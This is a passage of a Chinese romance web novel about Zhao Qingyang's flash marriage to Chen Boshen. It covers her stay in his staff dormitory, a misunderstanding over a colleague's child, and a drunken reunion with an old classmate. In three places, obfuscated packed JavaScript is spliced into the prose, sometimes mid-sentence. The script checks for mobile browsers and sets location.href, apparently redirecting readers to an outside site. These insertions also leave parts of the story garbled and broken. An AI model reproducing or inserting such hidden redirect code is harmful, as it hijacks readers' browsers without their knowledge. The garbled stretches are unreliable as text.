— 陈柏深将岳父岳母送走,回来就看到赵清扬只穿着吊带蹲在地上收拾行李,以及俨然是另一种布局的卧室。 “叔叔阿姨走了。”陈柏深敲敲门提醒。 赵清扬黑着一张脸,换了角度背对他,没理他。 陈柏深知道她在生自己的气,踌躇后打算敲第二次,手刚抬起,就见赵清扬啪的一声合上行李箱,动作利落套上一件防晒外套,面无表情越过他,“我今晚出去睡。” — 临时挑选的酒店不远,赵清扬也不是铁了心要离家出走,单纯想换个环境待着,于是拿到房间号后还告诉了陈柏深一声。 “这是我和爸妈之间的矛盾,我不该把气撒到你身上。对不起。今晚我出去住酒店,不用担心。” 陈柏深很快也回了消息,“没关系。我以后不会请叔叔阿姨来家里。” 赵清扬没想到陈柏深非但没有当和事佬,还这么支持她,删删减减最后给他发了四个字:“谢谢理解。” 随后又发过去房号和照片。 是报备,也是试探。 陈柏深没来,但是写了很长的一段话,通篇看下来,大意就是人都有负面情绪,他不小心踩中了她的雷区,下次会更加注意。最后他让她好好休息,不要想太多,他一点也不怪她。 不仅如此,他还给她出主意——住酒店的花费太高,如果她一直不愿意回家,可以去住他的员工宿舍。宿舍里不仅有床还有洗衣机和冰箱,她完全可以一个人在里面生活。他只在中午过去睡半个小时的午觉,其余时间不会有人去打扰她。 赵清扬能想象到陈柏深打这一段文字时的认真表情。好像无论什么情况下,他总能以十分认真的态度去解决问题。 可她现在只想发脾气。 赵清扬:“再看吧。” 本意是想敷衍过去,但想到今天陈柏深被她的气话误伤,冷静下来后发现住酒店确实不是长久之计,种种因素作用下,赵清扬第二天还是拖着行李箱进了员工宿舍楼。 宿舍楼环境清幽,入住率不高,但不算冷清,走廊上时常能看到人来往,甚至还有老人和小孩,俨然成了一座居民楼。赵清扬刷家属卡过了层层门禁,打开陈柏深的房间,发现里面其实和酒店的标准大床房配置差不多,并没有她想象中那么简陋脏乱。 隐约记得陈柏深说申请了双人房,但看来看去房间里也只有一张床,赵清扬半信半疑又退出去锁门,又刷一次家属卡,再次确认这是陈柏深的房间,这才放心关上门开始整理。 想起刚才在楼道见到的老人和小孩,赵清扬后知后觉,员工宿舍配置这么齐全,员工举家住进来的现象不少,那么陈柏深这间宿舍与其说是双人房,不如说是夫妻宿舍更贴合,这样一想,只有一张大床也不奇怪。 只是不知道她入住后陈柏深会不会收到消息,毕竟她一路上刷了那么多次家属卡。 应该不用特地告诉他,她来住他的宿舍了吧? 如果碰巧被他发现,就当作是她给他准备的惊喜好了。 — 从宿舍楼一直问路进了食堂,赵清扬在窗口打了两菜两肉一汤,端着托盘找座位时就看到了陈柏深的背影。 白色衬衫勾勒出宽肩窄腰,远比他在家里穿的清一色宽松男士家居服好看不知多少倍。正想走过去找他一起吃饭,问他怎么周末还来吃食堂,然而那挽起的袖口下结实的小臂,却牵着一个身高还不及他腰际的小女孩。 赵清扬霎时杵在原地。 一瞬间,所有的疑团都烟消云散。陈柏深细致入微的耐心体贴、一反平常和她冲动闪婚、对于孕育生命的谨慎以及对婚检孕检项目的熟悉、对她始终保持距离的疏离…… 一切都有了原因。 “坐这里好不好?”陈柏深侧头问小女孩意见,语气温柔。 赵清扬大脑一片空白,第一反应却是转身躲避,隐入食堂石柱后,动作匆忙差点洒了汤。 就在她慌神躲闪的几秒钟时间里,陈柏深已经带着小女孩走远,找到合适的位置并排坐下。期间有路过的同事跟他打招呼,还会弯腰逗一逗他身后的小尾巴。 大家都知道陈柏深有孩子。他也不避讳。 可能早早买好学区房也是为了孩子吧。什么亲戚不要的二手学区房,这种说辞估计也只有她会信。 意识到这一点,赵清扬发觉自己已经僵硬得迈不开双腿。她也是傻,什么情况都没问清楚,头脑一热就结了婚。 她还天真以为陈柏深对她有意思,只是人比较呆,又不懂得拒绝,所以才选择吃哑巴亏从了她。 可现在的社会哪还有这么傻的人。退一万步来讲,就算陈柏深是真傻,他爸妈又怎么会傻到纵容他闪婚。 总会有所图。 赵清扬深吸一口气冷静下来。食堂人来人往,她不能端着托盘一直躲在石柱后惹人注意,更不能吃闷亏,糊里糊涂就给人当了后妈。 挑了位于陈柏深视线死角的位置坐下,刚好瞥见他拿出儿童训练筷递给小女孩,让她自己夹菜吃。小孩使筷子还不熟练,不一会儿嘴巴和脖子都是米粒,陈柏深没吃两口又拿出纸巾给她擦,“慢慢吃。” “老师说粒粒皆辛苦,”小孩动手去抓米粒送进嘴巴,“不能浪费粮食。” 陈柏深:“老师说的对。” “叔叔,为什么粒粒皆辛苦?”小孩问。 叔叔?赵清扬喉咙一卡,紧绷的神经忽然松弛,一团米饭差点没咽下去。 手机还在录音。 “我们吃的大米是水稻变成的,农民种水稻需要很长时间,从播种到收获……”陈柏深一字一句介绍了水稻的生长周期和加工流程,“以前需要农民伯伯农民阿姨自己动手去收割稻穗,很辛苦,但现在有了机器……” 小孩抢话,“有了机器就不辛苦了。粒粒不辛苦。” “机器收割只是其中一个步骤,而且机器也需要人去操控,就像你玩遥控汽车一样。”陈柏深说,“如果没有你,汽车不会自己动。” “种大米这么难,如果农民伯伯农民阿姨知道大米会被浪费,是不是会难过得不愿意种了?”小孩忧心忡忡往嘴里送了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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最近几天?赵清扬摁掉没用的冗长录音,仔细回忆却没发现陈柏深这几天有什么特殊的遭遇。不过照他们之间的相处模式,他遇到什么事情也不会跟她倾诉。 走神的这几秒,赵清扬没留意周围,还是小孩叫了一声爸爸才发现陈柏深周围不知道什么时候站了一圈穿着夹克衫的男人。 “小陈,辛苦你了。”为首的中年男人牵着小女孩的手向他道谢,时不时左右看看,很是为难的样子,“我刚才实在走不开,没办法,你看这……还好碰到你,别人她还不愿意跟,只能麻烦你。” “没关系,不麻烦。”陈柏深说。 “你们看看,小陈虽然没结婚,带孩子还挺有一套。我家这祖宗,没点耐心都镇不住。还整天问东问西,连我都经常被她问倒,还好小陈懂得多,又细心。”中年男人边点手指边笑着向周围夸他,“大家认识什么好姑娘记得趁早介绍,别叫肥水流了外人田......” “我前段时间刚结婚。”陈柏深澄清。 “这种大好事,老何藏这么深?”短暂安静后,中年男人激动地拍了拍陈柏深的肩膀。 “是家里安排的相亲。”陈柏深平静解释,“爸妈同意,我也喜欢,就结了。” 气氛又一次陷入安静。 赵清扬眼神乱飘,很想换个位置好看清楚陈柏深脸上的表情,但一圈人将陈柏深团团围住,她踮起脚也只能看到他的后脑勺。 不过人虽然多,但说话的只有中间的中年男人,“成家了好,成家了好,男人迟早要成家,现在你工作也稳定了,是该成家。” 听到稳定字眼,赵清扬隐隐觉得陈柏深的处境不太乐观,不由得在心里怪他怎么都不知道在领导前面装一装,说上两句场面话。 在她爸妈面前倒是懂事得很。 气氛和陈柏深的前途一样成了一潭死水,小女孩不明所以,反而激动起来,伸手去拉陈柏深的衣角,“叔叔,我下次想和姨姨一起吃饭。” — 知道陈柏深吃过午饭有回宿舍午休的习惯,赵清扬故意掐着时间等他离开十五分钟后才走出饭堂。 回宿舍的路上赵清扬都在等陈柏深发现她的入住,好让她自然提起刚刚听到的只言片语。陈柏深不懂变通,有一说一,这样的性格对他的处境十分不利,她得好好劝劝他。 但赵清扬都走到了宿舍门口,陈柏深也没发一条消息来向她确认。 刷卡,开锁。走进宿舍却没看到人。 陈柏深没回来。 5. 第 5 章 陈柏深敲了6307房的门,出来应门的不是赵清扬。问过前台,才知道她早上就已经退房离开。 回到家,家里也没人。 次卧经他一晚上的忙活已经恢复了原样,但里面没有赵清扬。 拿出手机想问她行踪,想了想还是觉得不合适。她总有自己的生活,也能照顾好自己,他不想问来问去惹她讨厌。 只是不知道,她有没有好好吃饭。 前台说赵清扬是早上九点退的房,而酒店供应早餐的时间是八点,按理说她应该吃了早餐,但她退房后带着行李箱理应不方便在外吃饭,可她却也没回家。 也许借住在朋友家吧。陈柏深猜。 如果不是上午突然要加班,他本打算做好早餐送到酒店给她吃。在外的吃食总不如家里的健康,也不一定符合她的口味,她喜欢吃他做的饭,想来应该不会拒绝他。 正想着,赵清扬发来消息:宿舍有充电器吗?我的手机快没电了。 宿舍。 原来她采纳他的建议,搬进他的员工宿舍了。 “在门边储物格里面。”陈柏深答了充电器的位置,然后点进内部系统去看赵清扬的入住时间。 早上10时12分43秒,妻子赵清扬刷卡进入宿舍。 早上10时15分27秒,妻子赵清扬刷卡进入宿舍。 中午12时32分18秒,妻子赵清扬在第一食堂二楼五号窗口消费十八元,本月生活补贴剩余1860.45元。 中午12时59分36秒,妻子赵清扬刷卡进入宿舍。 同样的地点,差不多也是他吃午饭的时间。 但他没有见到她。可能是错过了。 “我找不到。”赵清扬说。 陈柏深说:“你拍一张照片,我帮你圈出来。” “就是找不到。你来帮我找。” 路上不堵车,陈柏深很快把车开到宿舍楼下临时停好,还从家里带来了水果和零食。赵清扬拿到了充电器,坐在床头边充电边刷手机,假装不经意,“刚刚我去饭堂吃饭,好像看见你了。今天周六你还要上班?” “程序运行出了点问题,领导叫我来看看。”陈柏深切好水果端到床头柜放好,“饭堂吃得还习惯吗?” “一般。”赵清扬毫不客气拿起一块西瓜啃,用眼角余光瞥他,“跟学校饭堂一个味道。” 陈柏深没什么反应,“晚上我来给你做饭,等你吃了我就走。” 接着又递了纸巾给她擦手,还提了垃圾桶到她面前,这才在床旁的小沙发面对她坐下,“你房间里的东西我重新摆好了,但有些东西我忘记怎么放,你回去可以再收拾。” “你一个人把床也挪回去了?”赵清扬问。 “嗯。” 赵清扬瞄两眼他手臂。因为常年坐办公室,平时也不见他锻炼,陈柏深的手臂并不十分粗壮,只是很标准的男性身材。 看来也是一位能和王素梅媲美的天生神力选手。 陈柏深像是能看穿她的心思,解释,“直接搬床很沉,我先把床垫搬走,再拆解床板,最后重新安装回去。” 哦,没力气但有脑子。 “忙了多久?” “你走之后开始,十一点收拾完。” 赵清扬懂了。原来他不来酒店找她,是在家闷声干体力活。 赵清扬有点过意不去,“你不用那么着急,等我回家一起收拾也不迟。万一受伤了都没人在旁边搭把手。” “没关系,我都能处理好。”陈柏深抬头看她,“我以为你今天会回家。” 赵清扬被他乌黑的眸子盯得不自在,低头啃西瓜,“你也没告诉我房间恢复原样了。” 陈柏深垂眸,刚好看见她短裙下膝盖上一块乌青,“撞到了?” 赵清扬摸了摸那块乌青,“昨天搬东西的时候不小心撞到桌子。” 陈柏深起身,从柜子里提出一个医药箱,赵清扬自觉坐端正,扯了被子盖住大腿,等待治疗。 陈柏深倒了药酒在手心,单膝蹲下,温热宽掌覆住她整个膝盖,轻轻揉搓。赵清扬被他按得一阵接一阵酥麻,酸胀感顺着神经像蛇一样直往心里钻,眼神也不由自主往陈柏深微敞的衬衫领口钻。 “你中午是不是跟一个小朋友一起吃饭?”赵清扬找话题转移注意力。 “那是组长的女儿。今年还在读幼儿园。周末上完兴趣班会顺路来吃午饭。”陈柏深说。 “我听到他们还想给你介绍对象。”赵清扬哈哈假笑两声想逗他,“没想到你还挺会带小孩。” 陈柏深手上动作不停,“我告诉他们我结婚了。” 赵清扬见没逗起来,干笑两声缓解尴尬,直奔主题,“其实我都听见了……那个老何的女儿对你有意思吧?这件事你当初怎么不告诉我,你要是告诉我,我肯定不会强迫你结婚。” 要不是当时以为陈柏深这种木头没人要,她才不会一时脑热霸王硬上弓。 “我和她没见过面。”陈柏深动作一停,很快又倒了药酒重新按揉,“他们说的都是玩笑话,你别当真。” 赵清扬想了想还是决定跟他开诚布公谈一谈,“我就想提醒你,有些话不用说得太死板,大家都是为了讨日子,表面上装装样子我也不会怪你。” “装什么样子?”陈柏深抬头看她,满眼疑惑。 赵清扬视线飘忽,故意不看他,“就说你也没那么喜欢我,都是爸妈催得紧……之类的。” 陈柏深低下头去,不置可否“嗯”了一声。 想说的话都已经说完,赵清扬找不到别的话题打破沉默,干巴巴移开陈柏深覆在她膝盖上的手,“我自己擦就行。你去午睡吧。” 陈柏深洗了手要走,赵清扬叫住他,“你去哪?” 后知后觉陈柏深这是要回家午觉,赵清扬又说:“你来都来了,一起睡吧。” 见陈柏深犹豫,赵清扬赶紧摆手自证,“我没别的意思。” 陈柏深终于点头。 拉上窗帘后,房间迅速暗了下来,陈柏深去衣柜拿睡衣进卫生间换好,掀开被子躺了进去,赵清扬看他躺下后马上背对自己,心里莫名有些失落。 既然不喜欢她,为什么又要答应她结婚呢。 明明有更好的选择。 他温吞如水不懂拒绝一味忍受,她横冲直撞不知道收敛一味冲锋,干出的荒唐事要用往后一辈子去承担。 - 赵清扬没有睡午觉,轻手轻脚离开宿舍,打车去了工作室。 唯一的摄影师带着唯一的助理去出外景了,唯一的化妆师小张在给唯一的客人做发型,你一句我一句聊得正欢,赵清扬揉揉一张垮脸,抖擞精神笑眯眯递过去两杯奶茶,“辛苦两位啦。” 盛奕乔一脸惊喜,戳了吸管就是一大口下肚,“老板买的奶茶就是甜。” “比不上你嘴甜。我点的无糖。”赵清扬扶上盛奕乔肩膀,刚好小张做好了发型,赵清扬便打发她去休息,“去休息室睡会儿吧。” 小张走后,盛奕乔对着镜子摆弄自己头发,“好看吗?” 赵清扬拖了椅子在她旁边坐下来,笑,“你还有不好看的时候?” 盛奕乔对这类夸奖很受用,拿出手机开始拍照。 “乔乔。”赵清扬看一眼化妆桌上的奢牌化妆品,“你不用这样帮我。” 她这家工作室的营业额几乎是由盛奕乔撑起来的。一来就办卡,刚办了卡就往里充了十几万,但每天化好妆做好发型就走,就连化妆品都是自带。 带了几天,盛奕乔觉得麻烦,索性买了一套新的长期放在工作室里。 “我懒得自己打理嘛,化妆那么累,做发型也累。”盛奕乔对着镜头做表情,一点也不在乎,“反正钱都是要花出去的,与其让别人赚,不如进你口袋。” 赵清扬拿她没办法,笑说,“真讨厌你们这些为所欲为的有钱人。” 盛奕乔突然想起来什么,“对了,我跟你说,我想起陈柏深是谁了。” 赵清扬心脏漏跳一拍,喝水装傻,“……谁?” “那天你告诉我名字,我就觉得耳熟,但一直想不起来,昨天贺延突然找我,说想聚会,我一下就有了印象。”盛奕乔问,“你有陈柏深照片吗?” 赵清扬一本正经点头,“家里结婚证上有。” 盛奕乔:“……” “你记不记得,当时我们班的物理科代表是谁?”盛奕乔问。 赵清扬认真想了想,“不记得。” “个子挺高,长得也行,成绩还好,但不怎么说话,跟郑博文做同桌的那个。” 赵清扬脑袋空空,一脸茫然,“郑博文记得,他同桌没印象。” 盛奕乔认清现实,不再强求,“……算了。” 盛奕乔想来想去想不出陈柏深除了成绩优越以外还有什么令人印象深刻的事情,打开手机相册一通翻找,甩出一张八年前的毕业照。 赵清扬盯着前几天才看过的班级毕业照,装模作样看了半天,指出一瘦高个,“这个有点像他。” “何止有点像,这就是他。”盛奕乔笃定。 赵清扬指着照片上的青涩面庞,“陈柏深现在不长这样。” 盛奕乔:“长开了还是长歪了?” 赵清扬不假思索,“长开了。” 盛奕乔这就奇怪了,盯着赵清扬的脸看了又看,“可你变化不大啊……他以前没什么存在感,你认不出他情有可原,但他肯定知道你。他就没提过你们是同班同学的事?” “说不定他真没认出我。”赵清扬拿过盛奕乔戳好的奶茶喝了一口。 “不可能。”越来越多细节浮现,班长大人盛奕乔越来越笃定,“高三一整年,你都坐在他斜前方的座位,每周的跑操,他都排在你后面……他一抬头就能看见你,不可能认不出你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419264|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你还记得他坐在哪里?”赵清扬不信。 盛奕乔又甩出两个陈年文件,分别是高中三年的座位表和跑操队列表,陈柏深的名字确实都在她后面。 赵清扬心说盛奕乔这位班长当得不是一般的尽职尽责,这么久远的东西还没删。 “他长得比我高,在我后面很正常,再说他整天看到的都是我背影,又不是脸,不记得我长什么样字有什么奇怪。”赵清扬失笑,“再说了,他认出我又能怎么样?是不是同学又有什么关系?还不是一样过。” “你傻呀,他要是早就认出你,答应跟你结婚就是喜欢你!”盛奕乔忍不住揉一把赵清扬的脸,“你们结婚这件事性质就变了,不是你强迫他,是他蓄谋已久啊,不然这世界这么多人,怎么偏偏就是他跟你相亲?彩礼一谈好立马就给,房子都买的学区房,说不定连孩子叫什么名字去哪个月子中心哪个幼儿园都想好了……八年还不死心,卧槽太刺激了。” 赵清扬:“……” 陈柏深发的那句生日快乐,日期根本就不是她的生日。如果他喜欢的人是她,怎么会连生日都打听不到。 退一万步来讲,如果他真的喜欢她,却连生日都搞混,那这份喜欢未免太潦草。 取下盛奕乔的手,赵清扬劝她冷静,“乔乔,大家相亲都是奔着结婚去的,跟谈恋爱不一样。” 陈柏深不用养家,平时吃住都在单位,有补贴不用怎么花钱,他的物欲又低,唯一的看书爱好也不烧钱,不低的工资有进无出攒上几年,彩礼不成问题。 至于学区房,纯粹是捡漏外加父母帮衬。 以陈柏深求稳的长远计划来看,可能他觉得结婚生子是人生必经阶段,所以提前买好学区房,以防不时之需。 陈柏深这种按部就班的人,只是不容易动摇而已。 要想看透,那可太简单了。 他不是非她不可,如果他遇上另一个条件适合、性格强势的女人,结局也一样。 盛奕乔不死心,“我不信。” 赵清扬说:“等你见到他,你就知道他对我压根没意思。” 盛奕乔当机立断,“要不就今晚,咱们三个一起见面吃顿饭,我跟他好好叙叙旧,绝对帮你诈出来他的小心机。” “千万别。”赵清扬拒绝,“我和他在家面对面吃饭都没话聊,你别让我难做。” 盛奕乔继续给她出主意,“不如这样,你回去告诉他,你明天要参加高中同学聚会,看他什么反应。” 赵清扬不想问。 照陈柏深惜字如金的沉闷性格,就算他认出了她,但只要她不提,他决不会主动提起他们曾经同窗的事。毕竟就算提起了,他们也没有美好青春可以一起回忆。 万一初恋是她,她却说不出一句和他有关的回忆,多尴尬。 万一初恋不是她,却唤醒了他对初恋的怀念,她的处境只会更难堪。 平常的相处已经足够艰涩,何必再给自己找不痛快。 然而晚上回家和陈柏深面对面吃饭,赵清扬没话找话,为了活跃气氛还是提起了周日晚同学聚会的事。 “明天晚上我不回来吃饭,有高中同学约我出去聚一聚。”说完,赵清扬瞟了陈柏深一眼。 陈柏深面不改色,“是你的朋友吗?” “嗯。有个人刚回国,就约了我们几个人一起见一面。” “在哪里?什么时候?我可以送你。” “他家里。”赵清扬说,“他家不远,就在尚北路那边,我自己开车去就行,他家里有地方停车。” “如果玩得比较晚,我就不回来了。”赵清扬边吃边说,“你不用等我。” 陈柏深没应声。 赵清扬抬头看他,“你放心,他家里有客房,我们几个女生睡一间。” 女生睡一间……意思就是去男生家里。陈柏深难得皱了眉,“你们以前也这样吗?” 赵清扬本来觉得玩累了在朋友家里留宿不是什么大事,反正贺延家房间多,他爸妈常年不着家,叫阿姨收拾出几间空房给她们睡也简单,但这下被陈柏深问了一句,立马觉得男女有别,贺延一个成年男人提出这种邀约,其心可诛,于是迅速给自己找了台阶下,“你明天要是有安排,我就不去了,陪你。” 陈柏深没顺着她台阶下,“我没安排。你去吧。” 陈柏深语气稀松平常,赵清扬只当自己多想。 第二天晚上七点,赵清扬下了班后去附近便利店热了个三明治填填肚子就往贺延家里赶。 还没把车开到大门口,先认出了别墅外朝她招手的贺延。白衣黑裤,单手插兜,姿态比迎宾散漫,笑得比迎宾亲近。 “右转进门,一直往前开,有空位就停。”贺延单手扶在她降下的车窗上,一双好看的桃花眼探进来,“好久不见。” 仿佛夏夜清凉的风一下涌进车内,赵清扬愣了愣才回以同样的微笑,“好久不见。” 6. 第 6 章 朋友久别重逢总有聊不完的八卦,时间在麻将和牌局中一轮又一轮消逝,盛奕乔几次想宣布赵清扬和陈柏深结婚的事助兴,都被对面的赵清扬瞪了回去。 盛奕乔憋得委屈,连输几局后提议玩真心话大冒险。 赵清扬拿她没办法,刚好也有两位处于暧昧期的朋友在场,于是真心话大冒险的提议一呼众应,拿酒的拿酒,找道具的找道具,不一会儿就在地上围坐一圈。 大家心照不宣,将暧昧期的两位安排在面对面的位置,赵清扬刚找到合适的位置坐下,就看见盛奕乔在她对面强硬劈开一个空位挤进去。 赵清扬哭笑不得,照盛奕乔的架势,看来陈柏深的身份今晚是瞒不住了。 希望不要抽到她。赵清扬默默祈祷。有盛奕乔在,大冒险和真心话她都承受不起。 光顾着盯盛奕乔,赵清扬在游戏开始第一轮后才发现贺延坐在了她旁边。心脏狂跳后,箭头擦过她的范围,直指贺延。 盛奕乔有点失望,但很快就自觉承担起主持的责任,“真心话还是大冒险?二选一。” “选真心话。”贺延说。 盛奕乔抢先问,“你有没有瞒着我们偷偷脱单?” 贺延笑,“没有。” 说完就去转箭头,力度不大不小,刚好在盛奕乔面前停下。 众人咿咿呀呀疯狂起哄这场针锋相对,贺延一副事不关己的模样,“二选一。” 盛奕乔没在怕的,“真心话。” 贺延唇角一勾,“今晚最想说的话是什么?” 盛奕乔看了赵清扬一眼,又咬牙瞪了贺延一眼,拿起一杯酒仰头就灌,认输,“玩不过你。” 看破不说破最让人浮想联翩,气氛再一次达到高潮,贺延淡定俯身,继续转动箭头。 又是盛奕乔。 盛奕乔觉得贺延绝对看出了什么,开始谨慎起来,“我选大冒险。” 贺延眼神玩味,抽出一张卡片,念出上面的文字,“给置顶联系人打十分钟电话,并且声音外放。” 赵清扬扶额。盛奕乔的置顶联系人是她。 盛奕乔扳回一局,笑得猖狂,“打两个小时都行。” 赵清扬无奈接通盛奕乔面对面打进来的电话,见她又一次转动箭头,一颗心马上又揪了起来。盛奕乔目的很明显,她想让她亲口说出来陈柏深的事。 她倒不是想隐瞒自己闪婚的事实,只是...... 同窗三年,她记不得陈柏深,总有人记得。你一句我一句,不出几分钟就能勾勒出一个乏善可陈的学霸形象,说好听点是老实求稳,难听点就是书呆子。 箭头慢慢停下了。 但盛奕乔对力度的掌控显然不及贺延。 箭头没停在赵清扬面前。 盛奕乔希望落空,但也不气馁,兴奋跟着起哄被指到其他人,赵清扬趁空挂掉和盛奕乔的通话,锁屏前留意了一下新消息。 没有新消息。 可能陈柏深真的不在乎吧。赵清扬想。一天不见没什么大不了,夜不归宿也没有关系。他不过好奇多问两句,她自作多情念念不忘,未免太敏感。 一颗心提了才放,赵清扬回过神来时已经不幸中招。 大冒险她不敢,“我选真心话。” 盛奕乔目光直直射过来蓄势待发,旁边的贺延却抢先开口,“最近过得好吗?” 赵清扬张了张口,却发现自己说不出答案。如今的生活挑不出大错,但她已经很久没有真切地感受到幸福。 有人大喊不公平,“哇,贺延你小子区别对待别太明显,刚才问我就问锁屏密码,问赵清扬就问最近过得不好,不带这样放水的......” 贺延耸耸肩,眯起眼睛笑,“都是我想知道答案的问题嘛。” 赵清扬违心回答,“挺好的。” 不知道是不是她的错觉,气氛一时有点冷场,估计是她的回答太中规中矩,没能贯彻这个游戏的刺激。赵清扬将手机放到一边,重整旗鼓投入这场真假掺杂的游戏。 游戏而已,开心就好,何必太认真。 箭头转过一圈又一圈,赵清扬逐渐进入状态,和盛奕乔强强联手,角度新奇刁难了一次又一次被指到的倒霉蛋,同时也被灌了不少。 其实真要算起来,都是盛奕乔灌的。 盛奕乔问她今年做过最后悔的事情是什么。 她招架不住,选择喝酒。 她选大冒险,盛奕乔让她给第一位联系人打电话。 陈柏深靠名字首字母位居前列。 她没有打开通讯录确认第一位是不是陈柏深,直接喝酒。 喝着喝着,赵清扬发现在场只有贺延没被灌过,于是趁酒劲壮着胆子问他,在场有没有他喜欢过的人。 贺延笑她,“脑袋喝晕了?被指到的人不是我。” 赵清扬没说话,众目睽睽之下爬到圈子中心,固执地将箭头掰向他。 全场顿时安静下来。 贺延沉默半晌,和她对视,点头,“有。” 她看着他,仰头又要喝。 贺延拿掉她手里的酒杯,笑容玩味,“觉得我说的不是真心话?” 她摇摇晃晃看向他的眼睛,对视片刻后咧开嘴笑,“怎么会。” 说完,赵清扬再次转动箭头,让游戏继续,并在箭头停下之前坐到盛奕乔旁边,没有回到贺延旁边的位置。 可就在她变换位置之后,箭头阴差阳错指向了她。 盛奕乔没有再抢问,其他人面面相觑,也识趣地没有充当提问者的角色,最后是贺延开口,问了她同样的问题,“你喜欢的人在场吗?” 喜欢的人和喜欢过的人不是同一个概念,赵清扬微笑摇头,“不在。” 被酒精麻痹的神经因为贺延获得了短暂的清醒,赵清扬胃里一阵翻涌,回答后马上捂住嘴跌跌撞撞跑向卫生间。 干呕一阵没能吐出来,赵清扬在天旋地转中再三纠结,最后还是给陈柏深发了地址,“来接我。” - 游戏接近尾声,地上横七竖八喝倒了一大片,赵清扬摇摇晃晃走向贺延,跟他告别,“时候不早,我先回去了。” 贺延看她站不稳,伸出手扶住她小臂,“阿姨已经收拾好了房间,我带你过去。” 贺延的体温猝不及防贴近,赵清扬心脏猛地漏跳一拍,下意识推开他,“不用,我回家睡。” 贺延没强求,松开她,“你一个人可以吗?” “没事,我叫了人来接。” 贺延看她,眼底意味不明,“男朋友?” 赵清扬别过头不看他,“......不是。” 贺延:“我没喝酒,可以送你回家。” “不用管我。”赵清扬转身下楼,“你照顾其他人吧。” 贺延提上她的包,坚持送她到门口。门口早早停了一辆黑色轿车。 车窗缓缓降下一半,露出半张男人的脸,赵清扬头昏脑胀,跌跌撞撞走过去用身体挡住车窗,对贺延说,“你回去吧,不用送了。” 车窗卡在一半,没再往下降。 驾驶座上的人脸模糊看不清,贺延走到后座拉开车门,把赵清扬的包放进去,“你开了车过来,叫代驾就好了,怎么还打车?” 车里的人没说话。 赵清扬脑袋成了一团糨糊,想不出合适的理由,只好也假装没听见,钻进后座坐好。贺延探身进来帮她系好安全带,又替她报了手机尾号,“4546,辛苦师傅。” 赵清扬留意到陈柏深没有任何动作,只说了一个“好”。 贺延没注意到异样,自顾自拿出手机拨通了她的电话,又帮双眼迷离还在发愣的她接通,“回家之前保持联络。” 车门关上,划分出里外两个世界。 陈柏深沉默着发动车子,赵清扬顾忌手机还在通话,假装睡着试图蒙混过关。 然而手机里贺延的声音不合时宜响起,“赵清扬,能听到我说话吗?” 赵清扬硬着头皮开口,“......我没事。” “你先别睡。”贺延说,“到家了再睡,我陪你聊天提神。” 车里安静得出奇,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺延见她意识清醒还能回答问题,边摞酒杯边漫不经心问她,“有个男人开车来接赵清扬,我看着有点眼熟。” 盛奕乔吧唧吧唧嘴,懒洋洋道,“你当然眼熟。” “陈柏深么?”贺延问。 因为赵清扬及时挡住了车窗,他没能看见侧脸,但他探身进后座时,透过车内后视镜对上了驾驶座上那双凌厉的眼睛。 虽然只有短短半秒,但那遥远但似曾相识的眼神,除了陈柏深,他想不到第二个人。 毕竟每次他往人群中寻找赵清扬时,总会与同样探寻的眼神相碰撞。 一次可能是巧合,两次三次就是必然。 事实不言而喻,因此,尽管他和陈柏深没说过一句话,却仿佛做了多年的对手。或许陈柏深连对手也称不上——这个恨不得把自己藏进地里的人,在每一次眼神交锋时都仓促败退。 但今晚很不一样。 贺延说不上来什么感觉就像是一段只有自己在走的大路上突然出现了一个蒙头遮面的陌生人与自己并行,让他不得不提起警惕心去应付。 陈柏深能像以前那样自觉离开当然最好,如果不离开,他不介意动点手段把人赶走。 盛奕乔没想到贺延一猜就中,但她连震惊的力气都没有,眼皮困得掀不开,只点了点头就翻身睡过去了。 贺延不方便碰她,示意阿姨过来抱盛奕乔回房间睡觉,他则来安置剩下的男生。忙完一切,贺延看了看时间,估计赵清扬应该到了家,于是再次拨通她的电话。 考虑到赵清扬一时半会清醒不过来,贺延预料可能是陈柏深来接电话,特意深吸一口气平复杂乱的情绪。 陈柏深再怎么拿不出手,如今说到底也是半夜能来接赵清扬的存在。 关系不浅。 可电话铃声响了半分钟,无人接听。 7. 第 7 章 停好车后,陈柏深绕到后座,摇了两下没叫醒赵清扬,便俯身将她打横抱起。 赵清扬迷糊间感受到身体腾空,紧接着,一股干净的味道充斥鼻腔,驱散了令人作呕的酒气,耳边是规律有力的心跳声,干净利落像是天然的白噪音。托住身体的双手沉实稳重,怀抱也足够温暖。 赵清扬往里缩了缩。 怀抱于是更加紧实。 电梯缓慢上行,赵清扬听到指纹开锁的声音,听到陈柏深的喘气声。陈柏深腾不出手去开灯,摸黑将她抱进房间,至于是主卧还是客卧,赵清扬没睁眼,分不清楚。 可能是主卧。赵清扬想。到处都是陈柏深的味道。 干净,清爽。 她喜欢这种味道。 身体被小心翼翼放到床上,托举她的双手慢慢抽走,赵清扬舍不得,循着味道摸索到一处搏动。那是位于脖颈上的颈动脉。再往上,跨过坚硬的下颌骨,就是最柔软的地方。 黑暗中,赵清扬仰起头去吻那一处柔软。 估计是酒气太浓,陈柏深躲开了。赵清扬有点丧气,也有点讨厌自己。 她太懦弱。有胆子结婚没胆子给名分,现在浑身酒气,身上不干净,意识也不清醒,还去招惹别人。 如果是她,肯定不能接受一个态度模棱两可还浑身散发着臭味的人靠近她。 再喜欢的人也不行。 